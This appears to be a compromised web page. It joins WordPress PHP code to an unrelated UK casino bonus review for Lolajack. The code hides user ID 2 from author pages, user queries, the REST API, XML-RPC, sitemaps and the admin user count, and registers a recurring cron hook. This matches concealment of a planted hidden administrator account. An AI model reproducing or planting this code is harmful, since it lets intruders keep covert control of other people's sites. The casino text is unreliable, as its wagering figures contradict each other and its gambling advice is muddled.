add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The bonus is split into two parts. First, the match bonus is credited instantly after your initial deposit. You can use it on any slot or table game that accepts deposits. The second part, the free spins, are tied to the Starburst slot and can be claimed within 24 hours of signing up. If you miss that window, the spins evaporate, leaving only the matched cash.
Wagering requirements are 35× the bonus amount plus the original deposit. That translates to £7,000 if you take the full £200 match. The 35× is applied on a per‑game basis, so you’ll need to hit the house edge on each spin or bet to satisfy the requirement. The free spins come with a 20× requirement, which is comparatively kinder.
For those who enjoy progressive jackpots, the casino lolajack hosts a few titles that feed into a shared pool. The biggest prize seen so far is £150,000, but the odds are slim—about 1 in 1.5 million per spin.
While the bonus is generous on paper, the 35× wagering requirement can be a hurdle for casual players. If you’re looking to keep the bonus money on hand, you’ll need to play high‑volatility slots or bet large amounts on table games, both of which increase risk. Additionally, the bonus expires after 30 days, so you must act quickly or lose the offer entirely.
The customer support team, though responsive, occasionally struggles with language barriers. Non‑English speakers might find the FAQ section insufficient for detailed queries about specific games.
To access the bonus, you first need to create an account. The registration form asks for a username, password, email, and a few personal details. After confirming your email, you can log in and make your first deposit. The website’s interface is intuitive, but if you’re new, you might want to look up the Lolajack Casino Login page to see the step‑by‑step guide that the casino provides. It’s a quick read and helps avoid the common mistake of entering the wrong deposit amount.
The lolajack casino bonus offers a solid entry point for UK players, especially those who appreciate a generous match and a decent free spin package. The caveats—high wagering requirements and a short expiry—mean you’ll need to plan your play carefully. If you’re willing to chase the house edge on a few high‑paying slots, the bonus can turn into a real windfall. For casual gamers who prefer low stakes, the bonus may feel more like a gimmick than a genuine opportunity. Either way, the casino’s mobile compatibility and rapid withdrawals make it a convenient choice for players on the move.
The welcome offer is a 100 % match up to £200 plus 20 free spins on Starburst.
Yes, you must be 18+ and verify your address if you are playing from the UK.
The 20 free spins are specifically for the Starburst slot and can only be used there.